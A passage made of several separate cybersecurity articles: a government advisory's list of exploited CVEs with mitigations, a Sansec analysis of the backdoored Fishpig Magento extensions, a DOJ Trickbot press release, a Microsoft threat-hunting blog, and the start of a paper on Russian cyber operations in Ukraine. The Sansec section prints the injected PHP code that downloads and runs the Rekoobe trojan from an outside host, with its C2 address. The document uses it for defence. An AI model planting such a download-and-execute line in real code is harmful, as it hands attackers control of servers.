systems, including Accellion File Transfer Appliance (FTA), Windows Print Spooler, and Pulse Secure Pulse Connect Secure. Three of these vulnerabilities were also routinely exploited in 2020: CVE-2019-19781, CVE-2019-18935, and CVE-2017-11882. ### Table 2: Additional Routinely Exploited Vulnerabilities in 2021 | CVE | Vendor and Product | Type | |---------------------------|-----------------------------------|-------------------------------| | CVE-2021-42237 | Sitecore XP | RCE | | CVE-2021-35464 | ForgeRock OpenAM server | RCE | | CVE-2021-27104 | Accellion FTA | OS command execution | | CVE-2021-27103 | Accellion FTA | Server-side request forgery | | CVE-2021-27102 | Accellion FTA | OS command execution | | CVE-2021-27101 | Accellion FTA | SQL injection | | CVE-2021-21985 | VMware vCenter Server | RCE | | CVE-2021-20038 | SonicWall Secure Mobile Access (SMA) | RCE | | CVE-2021-40444 | Microsoft MSHTML | RCE | | CVE-2021-34527 | Microsoft Windows Print Spooler | RCE | | CVE-2021-3156 | Sudo | Privilege escalation | | CVE-2021-27852 | Checkbox Survey | Remote arbitrary code execution | | CVE-2021-22893 | Pulse Secure Pulse Connect Secure | Remote arbitrary code execution | | CVE-2021-20016 | SonicWall SSLVPN SMA100 | Improper SQL command neutralization, allowing for credential access | | CVE-2021-1675 | Windows Print Spooler | RCE | | CVE-2020-2509 | QNAP QTS and QuTS hero | Remote arbitrary code execution | | CVE-2019-19781 | Citrix Application Delivery Controller (ADC) and Gateway | Arbitrary code execution | | CVE-2019-18935 | Progress Telerik UI for ASP.NET AJAX | Code execution | | CVE-2018-0171 | Cisco IOS Software and IOS XE | Remote arbitrary code execution | | CVE-2017-11882 | Microsoft Office | RCE | | CVE-2017-0199 | Microsoft Office | RCE | ## MITIGATIONS ### Vulnerability and Configuration Management - Update software, operating systems, applications, and firmware on IT network assets in a timely manner. Prioritize patching known exploited vulnerabilities, especially those CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment. For patch information on CVEs identified in this CSA, refer to the appendix. - If a patch for a known exploited or critical vulnerability cannot be quickly applied, implement vendor-approved workarounds. - Use a centralized patch management system. - Replace end-of-life software, i.e., software that is no longer supported by the vendor. For example, Accellion FTA was retired in April 2021. - Organizations that are unable to perform rapid scanning and patching of internet-facing systems should consider moving these services to mature, reputable cloud service providers (CSPs) or other managed service providers (MSPs). Reputable MSPs can patch applications—such as webmail, file storage, file sharing, and chat and other employee collaboration tools—for their customers. However, as MSPs and CSPs expand their client organization's attack surface and may introduce unanticipated risks, organizations should proactively collaborate with their MSPs and CSPs to jointly reduce that risk. ### Identity and Access Management - Enforce multifactor authentication (MFA) for all users, without exception. - Enforce MFA on all VPN connections. If MFA is unavailable, require employees engaging in remote work to use strong passwords. - Regularly review, validate, or remove privileged accounts (annually at a minimum). - Configure access control under the concept of least privilege principle. - Ensure software service accounts only provide necessary permissions (least privilege) to perform intended functions (non-administrative privileges). ### Protective Controls and Architecture - Properly configure and secure internet-facing network devices, disable unused or unnecessary network ports and protocols, encrypt network traffic, and disable unused network services and devices. - Harden commonly exploited enterprise network services, including Link-Local Multicast Name Resolution (LLMNR) protocol, Remote Desktop Protocol (RDP), Common Internet File System (CIFS), Active Directory, and OpenLDAP. - Manage Windows Key Distribution Center (KDC) accounts (e.g., KRBTGT) to minimize Golden Ticket attacks and Kerberoasting. - Strictly control the use of native scripting applications, such as command-line, PowerShell, WinRM, Windows Management Instrumentation (WMI), and Distributed Component Object Model (DCOM). - Segment networks to limit or block lateral movement by controlling access to applications, devices, and databases. Use private virtual local area networks. - Continuously monitor the attack surface and investigate abnormal activity that may indicate lateral movement of a threat actor or malware. - Use security tools, such as endpoint detection and response (EDR) and security information and event management (SIEM) tools. Consider using an information technology asset management (ITAM) solution to ensure your EDR, SIEM, vulnerability scanner, etc., are reporting the same number of assets. - Monitor the environment for potentially unwanted programs. - Reduce third-party applications and unique system/application builds; provide exceptions only if required to support business-critical functions. - Implement application allowlisting. ## RESOURCES - For the top vulnerabilities exploited in 2020, see joint CSA Top Routinely Exploited Vulnerabilities. - For the top exploited vulnerabilities 2016 through 2019, see joint CSA Top 10 Routinely Exploited Vulnerabilities. - See the appendix for additional partner resources on the vulnerabilities mentioned in this CSA. ## DISCLAIMER The information in this report is being provided “as is” for informational purposes only. CISA, the FBI, NSA, ACSC, CCCS, NZ NCSC, and NCSC-UK do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring. ## PURPOSE This document was developed by U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.
# Magento Vendor Fishpig Hacked, Backdoors Added **September 13, 2022** **Web Skimming / Sansec Threat Research** Fishpig, a vendor of popular Magento-Wordpress integrations, has been hacked. Sansec found that attackers have injected malware in Fishpig software and taken control of Fishpig servers. Online stores running Fishpig software may now have the "Rekoobe" malware installed on their servers, effectively granting store administrator access to attackers. **Update 2022-09-13** FishPig has confirmed the incident and published a status page. It recommends customers to upgrade and/or reinstall all FishPig modules. Sansec discovered malware in the Fishpig Magento Security Suite and several other Fishpig extensions for Magento 2. It is likely that all paid Fishpig extensions have been compromised. Free extensions that are hosted on Github seem not to be affected. The injected malware will install another piece of malware ("Rekoobe") which hides as a background process on the server. The Fishpig distribution server was compromised on or before August 19th. Any Magento store that installed or updated paid Fishpig software since then is now likely running the Rekoobe malware. Fishpig software has over 200,000 downloads. It is not known how many stores use the paid extensions. ## Next Steps for Merchants FishPig has stated that their repository is fully cleaned. Magento merchants are recommended to: 1. Re-install all FishPig extensions per FishPig instructions. 2. Run a server-side malware scanner to detect installed malware & unauthorized activity. Use coupon **FISHPIG** to use our scanner one month for free. 3. Restart the server to terminate any unauthorized background processes. ## Attack Details: lic.bin is Rekoobe Attackers have added code to **License.php**, which is normally used to validate a Fishpig license. When a Magento staff user visits the Fishpig control panel in the Magento backend, the malware downloads a Linux binary from **license.fishpig.co.uk**. The name **lic.bin** may make it look like a license asset, but it is actually the Rekoobe remote access trojan. ```php $tmp = '/tmp/.varnish7684'; if (file_exists($tmp)) { $fp = fopen($tmp, 'w'); if (!flock($fp, LOCK_EX | LOCK_NB)) { return $this->adminDomain; } else { fclose($fp); @system("cd ~/;curl https://license.fishpig.co.uk/image/dev/lic.png -o lic.bin;chmod 777 lic.bin;./lic.bin '" . $this->adminDomain . "';rm lic.bin"); } } else { @system("cd ~/;curl https://license.fishpig.co.uk/image/dev/lic.png -o lic.bin;chmod 777 lic.bin;./lic.bin '" . $this->adminDomain . "';rm lic.bin"); } ``` Rekoobe uses a configuration file called **/tmp/.varnish7684**. After launching, it removes all malware files and remains in memory. It hides as a system process and mimics one of the following system services: - /usr/sbin/cron -f - /sbin/udevd -d - crond - auditd - /usr/sbin/rsyslogd - /usr/sbin/atd - /usr/sbin/acpid - dbus-daemon --system - /sbin/init - /usr/sbin/chronyd - /usr/libexec/postfix/master - /usr/lib/packagekit/packagekitd Meanwhile, it waits for commands from the C2 server located at **46.183.217.223** (Latvia). Sansec has not detected follow-up abuse via the C2 server yet. We expect that access to the affected stores may be sold in bulk on hacking forums. **Acknowledgements** Sansec eComscan has been updated to detect the latest Rekoobe malware varieties. Thanks to our partners Jetrails & Hypernode for their invaluable help in analyzing this attack!
# Russian National Extradited to United States to Face Charges for Alleged Role in Cybercriminal Organization October 28, 2021 A Russian national, residing in the Yakutsk region of Russia and in Southeast Asia, had his initial appearance in federal court today after his extradition from the Republic of Korea to the Northern District of Ohio to face charges for his alleged role in a transnational, cybercriminal organization. According to court documents, Vladimir Dunaev, 38, was a member of a transnational, cybercriminal organization that deployed a computer banking trojan and ransomware suite of malware known as “Trickbot.” “Trickbot attacked businesses and victims across the globe and infected millions of computers for theft and ransom, including networks of schools, banks, municipal governments, and companies in the health care, energy, and agriculture sectors,” said Deputy Attorney General Lisa O. Monaco. “This is the second overseas Trickbot defendant arrested in recent months, making clear that, with our international partners, the Department of Justice can and will capture cyber criminals around the world. This is another success for the Department’s recently launched Ransomware and Digital Extortion Task Force in dismantling ransomware groups and disrupting the cybercriminal ecosystem that allows ransomware to exist and to threaten our critical infrastructure.” “The FBI is determined to utilize our unique tools and capabilities to disrupt transnational cybercriminal organizations, such as the group that developed and delivered Trickbot, and remains committed to imposing risk and consequence upon these criminals,” said Deputy Director Paul Abbate of the FBI. “Pursuing cyber criminals requires considerable patience, expertise, and resources, but the FBI has a long memory and will ensure that these malicious actors cannot evade detection or avoid the full weight of law enforcement actions.” “The Trickbot malware was designed to steal the personal and financial information of millions of people around the world, thereby causing extensive financial harm and inflicting significant damage to critical infrastructure within the United States and abroad,” said Acting U.S. Attorney Bridget M. Brennan of the Northern District of Ohio. “Today’s announcement underscores the great lengths federal law enforcement officials and our international partners will go to hold these alleged cybercriminals accountable for their actions.” “This indictment reflects the dynamic landscape in which international criminals utilize sophisticated cyber methods to take advantage of and defraud unsuspecting victims anywhere in the world,” said Special Agent in Charge Eric Smith of the FBI’s Cleveland Field Office. “This multi-year investigation demonstrates the commitment by the FBI to aggressively pursue these individuals despite the complexity and global character cyber investigations can so often bring. The FBI encourages any victim of cyber fraud to file a report with the FBI’s Internet Crime Complaint Center at www.ic3.gov.” The indictment alleges that beginning in November 2015, and continuing through August 2020, Dunaev and others stole money, confidential information, and damaged computer systems from unsuspecting victims, including individuals, financial institutions, school districts, utility companies, government entities, and private businesses. To perpetuate their criminal scheme, the defendants allegedly used a network of co-conspirators and freelance computer programmers, known as the Trickbot Group, to create, deploy, and manage the Trickbot malware, which infected millions of computers and computer systems worldwide. Dunaev is alleged to have been one such co-conspirator, working as a malware developer for the Trickbot Group. Dunaev allegedly performed a variety of developer functions in support of the Trickbot malware, including managing the malware’s execution, developing popular browser modifications, and helping to conceal the malware from detection by security software. Earlier this year, the Justice Department announced the arrest and arraignment of Alla Witte, a Latvian national charged for her role in the Trickbot Group. According to court documents, the Trickbot malware was designed to capture online banking login credentials and harvest other personal information, including credit card numbers, emails, passwords, dates of birth, social security numbers, and addresses from infected computers through the use of web injects and keystroke logging. Later versions of Trickbot were adapted to facilitate the installation and use of ransomware. According to the indictment, the defendants used these stolen login credentials and other personal information to gain access to online bank accounts, execute unauthorized electronic funds transfers, and launder the money through U.S. and foreign beneficiary accounts. Dunaev was extradited from the Republic of Korea on Oct. 20. He is charged with conspiracy to commit computer fraud and aggravated identity theft, conspiracy to commit wire and bank fraud, conspiracy to commit money laundering, and multiple counts of wire fraud, bank fraud, and aggravated identity theft. If convicted of all counts, Dunaev faces a maximum penalty of 60 years’ imprisonment. A federal district court judge will determine any sentence after considering the U.S. Sentencing Guidelines and other statutory factors. This case was investigated by the FBI’s Cleveland Field Office. The Justice Department’s Office of International Affairs provided invaluable assistance in securing the arrest and extradition of Dunaev to the United States, with substantial support provided by the Republic of Korea. Senior Counsel C.S. Heath of the Criminal Division’s Computer Crime and Intellectual Property Section and Assistant U.S. Attorneys Daniel J. Riedl and Duncan T. Brown of the Northern District of Ohio are prosecuting the case. This case is part of the Department of Justice’s Ransomware and Digital Extortion Task Force, which was created to combat the growing number of ransomware and digital extortion attacks. As part of the Task Force, the Criminal Division, working with the U.S. Attorneys’ Offices, prioritizes the disruption, investigation, and prosecution of ransomware and digital extortion activity by tracking and dismantling the development and deployment of malware, identifying the cybercriminals responsible, and holding those individuals accountable for their crimes. The department, through the Task Force, also strategically targets the ransomware criminal ecosystem as a whole and collaborates with domestic and foreign government agencies as well as private sector partners to combat this significant criminal threat. An indictment is merely an allegation, and all defendants are presumed innocent until proven guilty beyond a reasonable doubt in a court of law.
# Structured Threat Hunting: One Way Microsoft Threat Experts Prioritizes Customer Defense **Update [5/9/2022]:** In line with the recently announced expansion into a new service category called Microsoft Security Experts, we’re introducing the availability of Microsoft Defender Experts for Hunting for public preview. Defender Experts for Hunting is for customers who have a robust security operations center but want Microsoft to help them proactively hunt for threats across Microsoft Defender data, including endpoints, Office 365, cloud applications, and identity. Today’s threat landscape is incredibly fast-paced. New campaigns surface all the time, and the amount of damage that they can cause is not always immediately apparent. Security operations centers (SOCs) must be equipped with the tools and insight to identify and resolve potentially high-impact threats before attackers set up persistence mechanisms, exfiltrate data, or deploy payloads such as ransomware. Every day at Microsoft, threat hunters work alongside advanced systems to analyze billions of signals, looking for threats that might affect customers. Due to the sheer volume of data, we’re meticulous about surfacing threats that customers need to be notified about as quickly and accurately as possible. This helps ensure that customers can respond to the most critical threats in their environments through our products and services, such as Microsoft Threat Experts, a managed threat hunting service that provides expert-level monitoring and analysis. With Microsoft Threat Experts, customers get Targeted Attack Notifications, which are designed to identify the most important risks and provide technical information, as well as hunting and mitigation guidance. Customers can also consult with our analysts through Experts on Demand. Microsoft Threat Experts allows organizations to collaborate with Microsoft analysts to benefit from their expertise in tackling critical incidents. This collaborative relationship also gives Microsoft analysts the opportunity to gain invaluable insight into real-world threats, how attackers operate inside enterprise networks, and how security operations teams function. This creates an environment conducive to mutual learning and innovation, which helps improve our processes, protections, and services. One way we support this close collaboration with customers is through a structured approach to threat hunting. Human analysts are augmented by AI in the search for potential threats to our customers. AI helps our human analysts tease out which events in our data require closer examination. Humans drive the initial hunt, then validate the AI’s findings, and provide deeper analysis and context for each potential threat. By combining what humans and AI are each individually good at, we’re able to process data at speed and scale. The process ultimately decides which potential threats to address first. Our strategy is designed to evaluate impact and escalate potential threats for investigation, based on how damaging the potential threat would be if it was found to be valid. Our strategy is also designed for speed: due to the highly time-sensitive nature of the threat response, our security analysts need to be confident that the most dangerous potential threats are analyzed first. This process starts with Microsoft analysts formulating hypotheses to explain suspicious behavior discovered within our data. If the hypotheses pass our initial quality checks, we perform an automated hunt for and collect observations that could ultimately confirm or deny our suspicions. Once we’ve gathered more evidence, the observations are grouped into potential threats and run through a variety of computations to evaluate the possible impact. One of the key figures we use for evaluating potential threats is the amount of diversity we see across our observations. A more diverse set of observations indicates that a potential threat is more likely to have a broad impact. The computations on the impact of the potential threat are then combined to calculate a final priority score. The priority score is used to sort potential threats according to how likely they are to require urgent attention. Potential threats that are more likely to have a devastating impact are given higher priority scores, so that they can be addressed more quickly. Seasoned threat experts investigate and analyze the potential threat once it is ready. If the threat is found valid, our analysts conduct a deep-dive investigation, gathering the information our Microsoft Threat Experts customers need to keep themselves safe. They collect technical details and develop security recommendations. Affected customers are immediately notified with targeted attack notifications, containing detailed information on what the threat is, and what they can do to defend themselves. Our process uses automated hunting and AI to speed up the decision-making, while humans define the observables, adjust and tune the parameters, perform triage, and craft the targeted attack notifications sent to affected customers. A deeper look at our process will show how analysts work closely alongside automation to help protect customers. ## Hunting for Potential Threats As the first step in our process, threat hunters formulate a hypothesis around data related to a potential threat, such as, “The attacker remotely executed code by exploiting a vulnerability in a system process.” After validating the soundness of the hypothesis by measuring the signal-to-noise ratio and using known data sets to ensure that the accuracy is within acceptable limits, the hypothesis is modeled in our hunting systems, which automatically perform data collection, correlation, and enrichment. These automated systems collect observations through our telemetry, from multiple devices and often from different stages of an attack. Each observation represents a single instance of a hypothesis – in our example, here is the system process, here is what the system process did, and here are the arguments that were passed to it. Examining the observations associated with the hypothesis helps analysts determine if that instance of the hypothesis is valid. Observations are then grouped into potential threats that represent our best current understanding of a collection of observations. If these observations truly reflect malicious behavior, the picture they paint is that of an attack on a customer’s computing infrastructure. Looking at data associated with these observations can help us understand which potential threats may wreak the most havoc, and prioritize the investigation of more critical threats. ## Developing Priorities If a potential threat is malicious, it is more likely to cause critical damage if it involves many devices inside an organization and is associated with many distinct attack stages. A confirmed threat that involves a single observation and is confined to an isolated machine is less likely to have the same level of impact. Similarly, a potential threat is more likely to have more impact if it involves observations supporting many different hunting hypotheses. If the potential threat is malicious, a greater variety of hypotheses reflects a broad-ranging attack that hits many parts of the organization’s infrastructure in many different ways. Therefore, a potential threat with more diverse hypotheses is more likely to have a big impact on our customers, and is prioritized for investigation by Microsoft Threat Experts. ## Using Diversity to Prioritize Potential Threats How can we measure the diversity of different aspects of a potential threat? Microsoft Threat Experts uses entropy, borrowed from information theory. Entropy measures how many bits (or yes/no questions) it would take, on average, to identify a random element of a set if we know the elements of the set. A set containing elements that are all alike has zero entropy. Meanwhile, a set with more distinct elements, or the distinct elements in more equal proportions, will have higher entropy. We use entropy to help decide which potential threats need swift attention, by calculating it for several attributes that the observations in each potential threat might have. For example, we calculate the entropy for the hypotheses associated with observations for each potential threat. We also calculate the entropy for the MITRE techniques associated with the observations in the potential threat. After the AI automatically calculates an entropy value for each of these categories, and values for other factors, such as the severity of the hypothesis for each of the observations involved, it combines these values together to create an overall priority score for the threat. ## Calculating the Final Priority Score Since our final score takes into consideration many different kinds of information about the potential threat, we need a way to combine these values. To do this, we convert each the results of each calculation into a p-value. A p-value represents the percentage of potential threats we’d expect to have a certain value or larger in that category. For example, if only 5% of the MITRE technique entropy values were larger than the value from our calculation, then the p-value for our potential threat’s hypothesis entropy would be 0.05. We do this same p-value conversion using other numbers we’ve generated from the same potential threat, some based on entropy and others not. We then combine all of these p-values into a final priority score. ## Validating the Potential Threat The final prioritization score is used to sort potential threats, so that the most critical potential threats are analyzed the most quickly. When a potential threat is ready, a dedicated team of security experts look over the results and perform deep analysis to determine the threat’s validity. The analysts closely investigate suspicious activity related to the potential threat, using information from possibly-affected devices and networks. They search for unexpected events on the device timeline, indicators of compromise, and other evidence that something malicious may have occurred. If the threat is validated and the activity is found to be malicious, our experts set to work to determine the full scope and protect customers. Related activity surrounding the validated threat is tracked down, technical details about the systems affected are gathered, and the team develops security recommendations to defend against the threat. ## Microsoft Threat Experts: Helping Defenders Help Themselves Whenever we discover and validate a critical threat in the environment of a Microsoft Threat Experts customer, we immediately send out a targeted attack notification. These are special alerts that provide deep context about the threat, with details specific to each customer’s unique environment. Targeted attack notifications aim to help SOCs formulate a response before a critical attack can wreak havoc on their network. They help highlight the most critical threats, and clearly identify the ones that need aggressive handling. They also contain key technical details, which can assist SOCs in swiftly handling an ongoing threat. Customers receive a timeline of observed events in their organization, as well as advanced hunting queries for surfacing threat activities. These details can aid in understanding the attack flow and discovering the scope of the threat. ## A Case Study in Prioritization Our process can fill the gaps to realize the true scope of a potential threat. Recently, there was a potential threat involving pre-ransomware activity detected by our machine learning. Outside of the context provided by Microsoft Threat Experts, it appeared as if this was just another instance of a widespread Qakbot campaign. It did not initially appear that this threat was any more dangerous than similar instances of the same campaign. However, the Microsoft Threat Experts prioritization process had pieced together the evidence to suggest that the threat could represent one of the most impactful attacks seen that month. The potential threat was associated with a diverse collection of hunting hypotheses, as measured by entropy, and thus held a high priority for active investigation by Microsoft Threat Experts. Since the process evaluated it to be very high priority, Microsoft Threat Experts quickly assessed the potential threat. The potential threat was found not only to be valid, but to be every bit as dangerous as suggested: although the techniques were largely typical of the ongoing Qakbot campaign, there was an especially swift progression to reconnaissance and credential theft. In addition, because of the method the attacker used to launch the backdoor, the activity was detected and alerted on, but not fully remediated. This sort of progression was not normally associated with the flow of an initial entry campaign, but with human operators attempting lateral movement. The attacker seemed to be rushing to find out as much as they could, to deal out maximum damage. Furthermore, Microsoft hunters had identified these same techniques being used in ransomware attacks, strongly indicating that the operators might soon move to ransom the organization’s devices. Qakbot has been known to facilitate ransomware-as-a-service (RaaS) activity. In the RaaS model, a RaaS operator works with affiliates and provides tools for launching ransomware attacks. The affiliates deploy ransomware payloads by purchasing access to networks with existing malware infections like Qakbot. Analysts at Microsoft Threat Experts immediately alerted the organization and provided advice on how to deal with the validated threat. Security researchers and experts at Microsoft Threat Intelligence Center (MSTIC) and Microsoft Detection and Response Team (DART) provided further help to prevent the attack from escalating. This aided the defenders at the targeted organization as they moved to remediate the threat. The collaboration between Microsoft and the targeted organization ultimately succeeded in stopping the attack. In spite of the attackers achieving broad lateral movement across the organization and nearly achieving their objective, the organization was not ransomed and were able to recover. ## Empower Your Organization In this example, and many others, notifications from Microsoft Threat Experts can be invaluable to decreasing the damage threats pose to organizations. Thoroughly warned of the threat at hand, organizations can take immediate action to remediate the threat using information from the notification, and perform further analysis with the suite of investigation tools available through Microsoft Defender for Endpoint. Targeted attack notifications aren’t the only kind of assistance available through Microsoft Threat Experts. Organizations can also send inquiries to our analysts, through purchasing Experts on Demand. By consulting with analysts through Experts on Demand, customers can get more context on an alert, gain clarity on the root cause of an incident, or receive personalized guidance on how to protect their organization. Through Microsoft Threat Experts, SOCs are empowered to act quickly and decisively. Learn how your organization can get expert level monitoring and analysis through Microsoft Threat Experts.
# Russia’s Wartime Cyber Operations in Ukraine: Military Impacts, Influences, and Implications **Jon Bateman** This paper examines the military effectiveness of Russia’s wartime cyber operations in Ukraine, the reasons why these operations have not had greater strategic impact, and the lessons applicable to other countries’ military cyber efforts. It builds on previous analyses by taking a more systematic and detailed approach that incorporates a wider range of publicly available data. A major purpose of this paper is to help bridge the divide between cyber-specific and general military analysis of the Russia-Ukraine war. Most analysis of Russian cyber operations in Ukraine has been produced by cyber specialists writing for their own field, with limited integration of non-cyber military sources and concepts. Conversely, leading accounts of the war as a whole include virtually no mention of cyber operations. To begin filling the gap, this paper places Russian cyber operations in Ukraine within the larger frame of Moscow’s military objectives, campaigns, and kinetic activities. Its key points: - Russian cyber “fires” (disruptive or destructive attacks) may have contributed modestly to Moscow’s initial invasion, but since then they have inflicted negligible damage on Ukrainian targets. Traditional jamming gave Russian forces a tactical edge in the battle for Kyiv, and it is plausible—though unconfirmed—that the cyber disruption of Viasat modems further degraded Ukrainian front-line communications. Meanwhile, Russia’s large opening salvo of data deletion attacks may have amplified the general atmosphere of chaos in Ukraine, although the victim organizations reportedly suffered only limited real-world disruptions. But within the first several weeks of the war, Russian cyber fires plummeted in number, impact, and novelty. Cyber fires, although still very high relative to prewar baselines, have barely registered on the grand scale of Moscow’s military ambitions and high-intensity combat operations in Ukraine. - Cyber fires have neither added meaningfully to Russia’s kinetic firepower nor performed special functions distinct from those of kinetic weapons. Rather than serving in a niche role, many Russian cyber fires have targeted the same categories of Ukrainian systems also prosecuted by kinetic weapons, such as communications, electricity, and transportation infrastructure. For almost all these target categories, kinetic fires seem to have caused multiple orders of magnitude more damage. While cyber fires potentially offer unique benefits in certain circumstances, these benefits have not been realized in Russia’s war against Ukraine. Moscow’s military strategists quickly discarded any aim of reducing physical or collateral damage or creating reversible effects in Ukraine, and Russia has gained little deniability or geographic reach from cyber operations. Likewise, Russian cyber fires have not achieved any systemic effects, and they have arguably been less cost-effective—or at least more capacity-constrained—than kinetic fires. - Intelligence collection—not fires—has likely been the main focus of Russia’s wartime cyber operations in Ukraine, yet this too has yielded little military benefit. Although intelligence processes are more difficult for outsiders to assess than fires, Russian artillery seems to rely on non-cyber sources of targeting intelligence (particularly uncrewed aerial vehicles or UAVs), despite earlier claims that Moscow has used malware to geolocate Ukrainian positions. Russian missile forces may have received some cyber-derived intelligence, but in the handful of known plausible cases, this intelligence does not seem to have been valuable for targeting decisions. Even influence operations, long central to Moscow’s cyber doctrine, have received only minimal known support from Russian hackers. More generally, Russia’s ham-fisted overall approach to the war—from its campaign planning to its occupation of seized territory—suggests that key military decisions are not guided by a rigorous all-source intelligence process. While many factors have constrained Moscow’s cyber effectiveness, perhaps the most important are inadequate Russian cyber capacity, weaknesses in Russia’s non-cyber institutions, and exceptional defensive efforts by Ukraine and its partners. To meaningfully influence a war of this scale, cyber operations must be conducted at a tempo that Russia apparently could sustain for only weeks at most. Moscow worsened its capacity problem by choosing to maintain or even increase its global cyber activity against non-Ukrainian targets, and by not fully leveraging cyber criminals as an auxiliary force against Ukraine. Meanwhile, Russian President Vladimir Putin and his military seem unwilling or unable to plan and wage war in the precise, intelligence-driven manner that is optimal for cyber operations. Ukraine, for its part, has benefited from a resilient digital ecosystem, years of prior cybersecurity investments, and an unprecedented surge of cyber support from the world’s most capable companies and governments. Given the many factors at play, even if several had been reversed it might still not have significantly improved the overall military utility of Russian cyber operations. As the war continues, Russian intelligence collection probably represents the greatest ongoing cyber risk to Ukraine. Conceivably, Russian hackers might still have larger impact if they can collect high-value intelligence that Moscow then leverages effectively. For example, the hackers might obtain real-time geolocation data that enable the assassination of President Volodymyr Zelenskyy or the timely and accurate targeting of Ukrainian forces, particularly those with high-value Western weapons systems; conduct hack-and-leak operations revealing sensitive war information to the Ukrainian and Western public, such as Ukraine’s combat losses, internal schisms, or military doubts; or collect valuable information about Kyiv’s perceptions and intentions that can aid Moscow at future talks, among other scenarios. Russian cyber fires pose a less serious threat, though such attacks could multiply if Moscow directs more of its overall cyber capability toward Ukraine (at the cost of other objectives) or better leverages cyber criminals. Russia’s war in Ukraine offers lessons for other military cyber commands, but these must be applied to national circumstances and considered alongside a range of relevant case studies. Russia’s experience suggests that cyber fires can be usefully concentrated in a surprise attack or other major salvo, but they risk fading in relevance during larger, longer wars. Cyber intelligence collection seems to have greater potential than cyber fires to support a variety of wartime military tasks, but this probably depends on having competent analysis and decision-making processes and a reasonably precise “way of war.” Militaries with high capability, professionalism, and readiness in both cyber and kinetic disciplines—such as the United States and Israel—have previously leveraged cyber operations to enable strikes on high-value targets. Yet even top-tier militaries seem to have the greatest cyber successes in tightly circumscribed contexts. It is therefore probably misleading to view cyberspace as a “fifth domain” of warfare equivalent in stature to land, sea, air, and space. Militaries that plan for major war should ask whether they can realistically meet the high bar of producing and sustaining cyber fires at meaningful levels. Meeting this bar may require huge standing cyber forces—perhaps many times larger than what peacetime or “gray zone” conditions require. Alternatively, militaries could develop surge capacity mechanisms (reserve forces, for example), which are challenging to implement and risk cannibalizing domestic cybersecurity. The rapid regeneration of cyber capabilities is another key hurdle. Given limited wartime cyber capacity, militaries may need to experiment with wave tactics: short bursts of intense cyber fires followed by periods of stand-down and regeneration. The more infrequent the waves, the more important it will be to coordinate closely with kinetic fires. If a cyber command is unlikely to scale dramatically and regenerate rapidly, it should perhaps not aspire to conduct sustained wartime fires in major conflict. It might instead prioritize more selective fires in peacetime, gray zone, or prewar conditions, or non-fires activities like cyber defense and intelligence collection. Countries’ investments in cyber intelligence collection should be matched by equally dedicated efforts to hone intelligence analysis, military planning, and strategic decision-making. As cyber capabilities proliferate, countries may find themselves able to collect more information than they can accurately interpret and effectively use in wartime. In such cases, broad institutional reforms—upgrading analytic tradecraft, instilling professionalism, or combating corruption—will often have more value than further technical enhancements of cyber collection. Countries unable to implement those reforms may learn that exquisite military cyber intelligence capabilities aren’t worth the effort to build. Cyber units also need to be fully integrated into all-source intelligence processes that direct them toward information needs which cannot be readily fulfilled by other means. Wartime use cases for cyber intelligence might include tracking high-value targets in real time, validating human intelligence in mission-critical situations, and acquiring very large data caches with durable, multipurpose value. Cyber defenders should use the Ukraine war as a reference point to reexamine and refine prior assumptions about the particular wars they might need to fight. Their first task is to reconsider the likely ability of prospective enemies to leverage cyber operations in conflict, given Russia’s humbling experience. They should then make specific comparisons and contrasts to their own military situation. For example, China’s cyber forces are probably larger than Russia’s, but they have carried out far fewer cyber fires. Would they execute an even bigger and more effective cyber salvo at the outset of a Taiwan invasion, or bungle the opener due to inexperience? Taiwan is more technologically advanced than Ukraine but its island geography is in some ways more precarious. Would Taiwan’s communications infrastructure prove more or less resilient? The political and commercial stakes for Western tech companies could also be quite different in a China-Taiwan war. Would such firms be equally willing to help, and could they physically do so without overland access? This paper’s tentative insights represent one reasonable interpretation of fragmentary, conflicting, and evolving data. Analysts remain reliant on reports from the Ukrainian government, allied governments, cybersecurity companies, and journalists to understand Russia’s cyber operations, their effects, and the larger war in Ukraine. Yet those sources have only partial knowledge, and parochial concerns inevitably shape what, when, and how information is shared. Some sources, for example, have produced fewer public reports in recent months than before. The resulting “cyber fog of war” continues to shroud even the most closely watched cyber incidents. A wider fog pervades the war as a whole, which has already undergone several distinct phases in just nine months—often developing in ways that surprise Western analysts (and others). Despite this uncertainty, governments around the world will not wait to incorporate perceived lessons learned into ongoing updates of military cyber strategies, budgets, doctrines, and plans. Analysts should offer the best assessments currently possible while acknowledging information gaps and the need to reassess over time. ## How Militarily Effective Have Russia’s Cyber Operations Been in Ukraine? Since Russia invaded Ukraine on February 24, 2022, most Western commentators have downplayed the role of offensive cyber operations in Moscow’s larger war effort. Analysts have called Russian cyber operations sparse, unsophisticated, ill-planned, poorly integrated with activities in other domains, ably defended by Ukraine and its foreign partners, and ultimately inconsequential when compared to the large-scale death and destruction caused by physical weapons. Experts offer competing explanations for how and why Russian cyber operations in Ukraine have fizzled, but most agree on the core military question: cyber operations have not significantly advanced Moscow’s campaign objectives. James Lewis, for example, found that “cyber operations have provided little benefit” to Russia and “failed to advance Russian goals” in the war. Likewise, Nadiya Kostyuk and Aaron Brantly wrote that Russian cyber attacks “did not have any strategic impact on Ukraine’s warfighting capabilities” and “do not appear to have impacted the course of the war.” The CyberPeace Institute, which maintains a public database of Russia’s cyber operations against Ukraine, said these weren’t “playing a major role in tactical advances.” Even Microsoft—which has described Russia’s wartime cyber efforts as voluminous, skillful, militarily innovative, and historically important—has reported only “limited operational impact” on Ukrainian targets. The company concluded that, “at a broader level, so far [Russian cyber] attacks have failed strategically in disabling Ukraine’s defenses.” Not everyone shares this perspective. Prominent dissenters include some Western government officials who believe outside analysts have underestimated Russia’s wartime cyber efforts against Ukraine. The dissenting camp describes Russian cyber operations as sweeping in scale, tactically effective in key moments, and aligned with Moscow’s military objectives of disrupting, confusing, and cowing the Ukrainian government, armed forces, and civilian population. David Cattler and Daniel Black, two serving intelligence officials with NATO, argued in April that “cyber-operations have been Russia’s biggest military success to date in the war in Ukraine.” Jeremy Fleming, the director of the UK’s General Communications Headquarters (GCHQ), called it “a fallacy to say that cyber has not been a factor in the war in Ukraine.” And Matt Olsen, U.S. assistant attorney general for national security, said “we are effectively seeing a hot cyber war in Ukraine carried out by the Russians.” Such disagreement stems in part from fragmentary, conflicting, and 